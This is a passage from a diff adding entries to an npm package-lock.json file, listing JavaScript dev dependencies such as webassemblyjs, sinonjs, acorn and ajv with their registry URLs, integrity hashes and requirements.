+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+ "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+ "dev": true,
+ "requires": {
+ "locate-path": "^5.0.0",
+ "path-exists": "^4.0.0"
+ }
+ },
+ "js-yaml": {
+ "version": "3.14.1",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+ "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+ "dev": true,
+ "requires": {
+ "argparse": "^1.0.7",
+ "esprima": "^4.0.0"
+ }
+ },
+ "locate-path": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+ "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+ "dev": true,
+ "requires": {
+ "p-locate": "^4.1.0"
+ }
+ },
+ "p-limit": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+ "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+ "dev": true,
+ "requires": {
+ "p-try": "^2.0.0"
+ }
+ },
+ "p-locate": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+ "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+ "dev": true,
+ "requires": {
+ "p-limit": "^2.2.0"
+ }
+ },
+ "resolve-from": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+ "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
+ "dev": true
+ }
+ }
+ },
+ "@istanbuljs/schema": {
+ "version": "0.1.3",
+ "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz",
+ "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==",
+ "dev": true
+ },
+ "@jridgewell/gen-mapping": {
+ "version": "0.3.3",
+ "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz",
+ "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==",
+ "dev": true,
+ "requires": {
+ "@jridgewell/set-array": "^1.0.1",
+ "@jridgewell/sourcemap-codec": "^1.4.10",
+ "@jridgewell/trace-mapping": "^0.3.9"
+ }
+ },
+ "@jridgewell/resolve-uri": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz",
+ "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==",
+ "dev": true
+ },
+ "@jridgewell/set-array": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz",
+ "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==",
+ "dev": true
+ },
+ "@jridgewell/source-map": {
+ "version": "0.3.5",
+ "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz",
+ "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@jridgewell/gen-mapping": "^0.3.0",
+ "@jridgewell/trace-mapping": "^0.3.9"
+ }
+ },
+ "@jridgewell/sourcemap-codec": {
+ "version": "1.4.15",
+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz",
+ "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==",
+ "dev": true
+ },
+ "@jridgewell/trace-mapping": {
+ "version": "0.3.18",
+ "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.18.tgz",
+ "integrity": "sha512-w+niJYzMHdd7USdiH2U6869nqhD2nbfZXND5Yp93qIbEmnDNk7PD48o+YchRVpzMU7M6jVCbenTR7PA1FLQ9pA==",
+ "dev": true,
+ "requires": {
+ "@jridgewell/resolve-uri": "3.1.0",
+ "@jridgewell/sourcemap-codec": "1.4.14"
+ },
+ "dependencies": {
+ "@jridgewell/sourcemap-codec": {
+ "version": "1.4.14",
+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz",
+ "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==",
+ "dev": true
+ }
+ }
+ },
+ "@nodelib/fs.scandir": {
+ "version": "2.1.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
+ "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+ "dev": true,
+ "requires": {
+ "@nodelib/fs.stat": "2.0.5",
+ "run-parallel": "^1.1.9"
+ }
+ },
+ "@nodelib/fs.stat": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
+ "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
+ "dev": true
+ },
+ "@nodelib/fs.walk": {
+ "version": "1.2.8",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
+ "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+ "dev": true,
+ "requires": {
+ "@nodelib/fs.scandir": "2.1.5",
+ "fastq": "^1.6.0"
+ }
+ },
+ "@sinonjs/commons": {
+ "version": "1.8.6",
+ "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.6.tgz",
+ "integrity": "sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==",
+ "dev": true,
+ "requires": {
+ "type-detect": "4.0.8"
+ }
+ },
+ "@sinonjs/fake-timers": {
+ "version": "7.1.2",
+ "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-7.1.2.tgz",
+ "integrity": "sha512-iQADsW4LBMISqZ6Ci1dupJL9pprqwcVFTcOsEmQOEhW+KLCVn/Y4Jrvg2k19fIHCp+iFprriYPTdRcQR8NbUPg==",
+ "dev": true,
+ "requires": {
+ "@sinonjs/commons": "^1.7.0"
+ }
+ },
+ "@sinonjs/formatio": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/@sinonjs/formatio/-/formatio-3.2.2.tgz",
+ "integrity": "sha512-B8SEsgd8gArBLMD6zpRw3juQ2FVSsmdd7qlevyDqzS9WTCtvF55/gAL+h6gue8ZvPYcdiPdvueM/qm//9XzyTQ==",
+ "dev": true,
+ "requires": {
+ "@sinonjs/commons": "^1",
+ "@sinonjs/samsam": "^3.1.0"
+ },
+ "dependencies": {
+ "@sinonjs/samsam": {
+ "version": "3.3.3",
+ "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz",
+ "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==",
+ "dev": true,
+ "requires": {
+ "@sinonjs/commons": "^1.3.0",
+ "array-from": "^2.1.1",
+ "lodash": "^4.17.15"
+ }
+ }
+ }
+ },
+ "@sinonjs/samsam": {
+ "version": "6.1.3",
+ "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-6.1.3.tgz",
+ "integrity": "sha512-nhOb2dWPeb1sd3IQXL/dVPnKHDOAFfvichtBf4xV00/rU1QbPCQqKMbvIheIjqwVjh7qIgf2AHTHi391yMOMpQ==",
+ "dev": true,
+ "requires": {
+ "@sinonjs/commons": "^1.6.0",
+ "lodash.get": "^4.4.2",
+ "type-detect": "^4.0.8"
+ }
+ },
+ "@sinonjs/text-encoding": {
+ "version": "0.7.2",
+ "resolved": "https://registry.npmjs.org/@sinonjs/text-encoding/-/text-encoding-0.7.2.tgz",
+ "integrity": "sha512-sXXKG+uL9IrKqViTtao2Ws6dy0znu9sOaP1di/jKGW1M6VssO8vlpXCQcpZ+jisQ1tTFAC5Jo/EOzFbggBagFQ==",
+ "dev": true
+ },
+ "@tootallnate/once": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz",
+ "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==",
+ "dev": true
+ },
+ "@types/eslint": {
+ "version": "8.44.0",
+ "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.44.0.tgz",
+ "integrity": "sha512-gsF+c/0XOguWgaOgvFs+xnnRqt9GwgTvIks36WpE6ueeI4KCEHHd8K/CKHqhOqrJKsYH8m27kRzQEvWXAwXUTw==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@types/estree": "*",
+ "@types/json-schema": "*"
+ }
+ },
+ "@types/eslint-scope": {
+ "version": "3.7.4",
+ "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.4.tgz",
+ "integrity": "sha512-9K4zoImiZc3HlIp6AVUDE4CWYx22a+lhSZMYNpbjW04+YF0KWj4pJXnEMjdnFTiQibFFmElcsasJXDbdI/EPhA==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@types/eslint": "*",
+ "@types/estree": "*"
+ }
+ },
+ "@types/estree": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.1.tgz",
+ "integrity": "sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==",
+ "dev": true,
+ "peer": true
+ },
+ "@types/json-schema": {
+ "version": "7.0.12",
+ "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.12.tgz",
+ "integrity": "sha512-Hr5Jfhc9eYOQNPYO5WLDq/n4jqijdHNlDXjuAQkkt+mWdQR+XJToOHrsD4cPaMXpn6KO7y2+wM8AZEs8VpBLVA==",
+ "dev": true,
+ "peer": true
+ },
+ "@types/node": {
+ "version": "20.4.2",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-20.4.2.tgz",
+ "integrity": "sha512-Dd0BYtWgnWJKwO1jkmTrzofjK2QXXcai0dmtzvIBhcA+RsG5h8R3xlyta0kGOZRNfL9GuRtb1knmPEhQrePCEw==",
+ "dev": true,
+ "peer": true
+ },
+ "@ungap/promise-all-settled": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz",
+ "integrity": "sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q==",
+ "dev": true
+ },
+ "@webassemblyjs/ast": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.6.tgz",
+ "integrity": "sha512-IN1xI7PwOvLPgjcf180gC1bqn3q/QaOCwYUahIOhbYUu8KA/3tw2RT/T0Gidi1l7Hhj5D/INhJxiICObqpMu4Q==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@webassemblyjs/helper-numbers": "1.11.6",
+ "@webassemblyjs/helper-wasm-bytecode": "1.11.6"
+ }
+ },
+ "@webassemblyjs/floating-point-hex-parser": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz",
+ "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==",
+ "dev": true,
+ "peer": true
+ },
+ "@webassemblyjs/helper-api-error": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz",
+ "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==",
+ "dev": true,
+ "peer": true
+ },
+ "@webassemblyjs/helper-buffer": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.6.tgz",
+ "integrity": "sha512-z3nFzdcp1mb8nEOFFk8DrYLpHvhKC3grJD2ardfKOzmbmJvEf/tPIqCY+sNcwZIY8ZD7IkB2l7/pqhUhqm7hLA==",
+ "dev": true,
+ "peer": true
+ },
+ "@webassemblyjs/helper-numbers": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz",
+ "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@webassemblyjs/floating-point-hex-parser": "1.11.6",
+ "@webassemblyjs/helper-api-error": "1.11.6",
+ "@xtuc/long": "4.2.2"
+ }
+ },
+ "@webassemblyjs/helper-wasm-bytecode": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz",
+ "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==",
+ "dev": true,
+ "peer": true
+ },
+ "@webassemblyjs/helper-wasm-section": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.6.tgz",
+ "integrity": "sha512-LPpZbSOwTpEC2cgn4hTydySy1Ke+XEu+ETXuoyvuyezHO3Kjdu90KK95Sh9xTbmjrCsUwvWwCOQQNta37VrS9g==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@webassemblyjs/helper-buffer": "1.11.6",
+ "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+ "@webassemblyjs/wasm-gen": "1.11.6"
+ }
+ },
+ "@webassemblyjs/ieee754": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz",
+ "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@xtuc/ieee754": "^1.2.0"
+ }
+ },
+ "@webassemblyjs/leb128": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz",
+ "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@xtuc/long": "4.2.2"
+ }
+ },
+ "@webassemblyjs/utf8": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz",
+ "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==",
+ "dev": true,
+ "peer": true
+ },
+ "@webassemblyjs/wasm-edit": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.6.tgz",
+ "integrity": "sha512-Ybn2I6fnfIGuCR+Faaz7YcvtBKxvoLV3Lebn1tM4o/IAJzmi9AWYIPWpyBfU8cC+JxAO57bk4+zdsTjJR+VTOw==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@webassemblyjs/helper-buffer": "1.11.6",
+ "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+ "@webassemblyjs/helper-wasm-section": "1.11.6",
+ "@webassemblyjs/wasm-gen": "1.11.6",
+ "@webassemblyjs/wasm-opt": "1.11.6",
+ "@webassemblyjs/wasm-parser": "1.11.6",
+ "@webassemblyjs/wast-printer": "1.11.6"
+ }
+ },
+ "@webassemblyjs/wasm-gen": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.6.tgz",
+ "integrity": "sha512-3XOqkZP/y6B4F0PBAXvI1/bky7GryoogUtfwExeP/v7Nzwo1QLcq5oQmpKlftZLbT+ERUOAZVQjuNVak6UXjPA==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+ "@webassemblyjs/ieee754": "1.11.6",
+ "@webassemblyjs/leb128": "1.11.6",
+ "@webassemblyjs/utf8": "1.11.6"
+ }
+ },
+ "@webassemblyjs/wasm-opt": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.6.tgz",
+ "integrity": "sha512-cOrKuLRE7PCe6AsOVl7WasYf3wbSo4CeOk6PkrjS7g57MFfVUF9u6ysQBBODX0LdgSvQqRiGz3CXvIDKcPNy4g==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@webassemblyjs/helper-buffer": "1.11.6",
+ "@webassemblyjs/wasm-gen": "1.11.6",
+ "@webassemblyjs/wasm-parser": "1.11.6"
+ }
+ },
+ "@webassemblyjs/wasm-parser": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.6.tgz",
+ "integrity": "sha512-6ZwPeGzMJM3Dqp3hCsLgESxBGtT/OeCvCZ4TA1JUPYgmhAx38tTPR9JaKy0S5H3evQpO/h2uWs2j6Yc/fjkpTQ==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@webassemblyjs/helper-api-error": "1.11.6",
+ "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+ "@webassemblyjs/ieee754": "1.11.6",
+ "@webassemblyjs/leb128": "1.11.6",
+ "@webassemblyjs/utf8": "1.11.6"
+ }
+ },
+ "@webassemblyjs/wast-printer": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.6.tgz",
+ "integrity": "sha512-JM7AhRcE+yW2GWYaKeHL5vt4xqee5N2WcezptmgyhNS+ScggqcT1OtXykhAb13Sn5Yas0j2uv9tHgrjwvzAP4A==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@xtuc/long": "4.2.2"
+ }
+ },
+ "@xtuc/ieee754": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
+ "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==",
+ "dev": true,
+ "peer": true
+ },
+ "@xtuc/long": {
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
+ "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==",
+ "dev": true,
+ "peer": true
+ },
+ "abab": {
+ "version": "2.0.6",
+ "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz",
+ "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==",
+ "dev": true
+ },
+ "acorn": {
+ "version": "8.10.0",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz",
+ "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==",
+ "dev": true
+ },
+ "acorn-globals": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz",
+ "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==",
+ "dev": true,
+ "requires": {
+ "acorn": "^7.1.1",
+ "acorn-walk": "^7.1.1"
+ },
+ "dependencies": {
+ "acorn": {
+ "version": "7.4.1",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
+ "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==",
+ "dev": true
+ }
+ }
+ },
+ "acorn-import-assertions": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.9.0.tgz",
+ "integrity": "sha512-cmMwop9x+8KFhxvKrKfPYmN6/pKTYYHBqLa0DfvVZcKMJWNyWLnaqND7dx/qn66R7ewM1UX5XMaDVP5wlVTaVA==",
+ "dev": true,
+ "peer": true,
+ "requires": {}
+ },
+ "acorn-jsx": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
+ "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
+ "dev": true,
+ "requires": {}
+ },
+ "acorn-walk": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz",
+ "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==",
+ "dev": true
+ },
+ "agent-base": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
+ "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+ "dev": true,
+ "requires": {
+ "debug": "4"
+ }
+ },
+ "aggregate-error": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
+ "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==",
+ "dev": true,
+ "requires": {
+ "clean-stack": "^2.0.0",
+ "indent-string": "^4.0.0"
+ }
+ },
+ "ajv": {
+ "version": "6.12.6",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+ "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+ "dev": true,
+ "requires": {
+ "fast-deep-equal": "^3.1.1",
+ "fast-json-stable-stringify": "^2.0.0",
+ "json-schema-traverse": "^0.4.1",
+ "uri-js": "^4.2.2"
+ }
+ },
+ "ajv-keywords": {
+ "version": "3.5.2",
+ "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
+ "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
+ "dev": true,
+ "peer": true,
+ "requires": {}
+ },
+ "ansi-colors": {
+ "version": "4.1.3",
+ "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz",
+ "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==",
+ "dev": true
+ },
+ "ansi-cyan": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-cyan/-/ansi-cyan-0.1.1.tgz",
+ "integrity": "sha512-eCjan3AVo/SxZ0/MyIYRtkpxIu/H3xZN7URr1vXVrISxeyz8fUFz0FJziamK4sS8I+t35y4rHg1b2PklyBe/7A==",
+ "dev": true,
+ "requires": {
+ "ansi-wrap": "0.1.0"
+ }
+ },
+ "ansi-gray": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-gray/-/ansi-gray-0.1.1.tgz",
+ "integrity": "sha512-HrgGIZUl8h2EHuZaU9hTR/cU5nhKxpVE1V6kdGsQ8e4zirElJ5fvtfc8N7Q1oq1aatO275i8pUFUCpNWCAnVWw==",
+ "dev": true,
+ "requires": {
+ "ansi-wrap": "0.1.0"
+ }
+ },
+ "ansi-red": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-red/-/ansi-red-0.1.1.tgz",
+ "integrity": "sha512-ewaIr5y+9CUTGFwZfpECUbFlGcC0GCw1oqR9RI6h1gQCd9Aj2GxSckCnPsVJnmfMZbwFYE+leZGASgkWl06Jow==",
+ "dev": true,
+ "requires": {
+ "ansi-wrap": "0.1.0"
+ }
+ },
+ "ansi-regex": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+ "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+ "dev": true
+ },
+ "ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+ "color-convert": "^2.0.1"
+ }
+ },
+ "ansi-wrap": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-wrap/-/ansi-wrap-0.1.0.tgz",
+ "integrity": "sha512-ZyznvL8k/FZeQHr2T6LzcJ/+vBApDnMNZvfVFy3At0knswWd6rJ3/0Hhmpu8oqa6C92npmozs890sX9Dl6q+Qw==",
+ "dev": true
+ },
+ "any-promise": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
+ "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==",
+ "dev": true
+ },
+ "anymatch": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz",
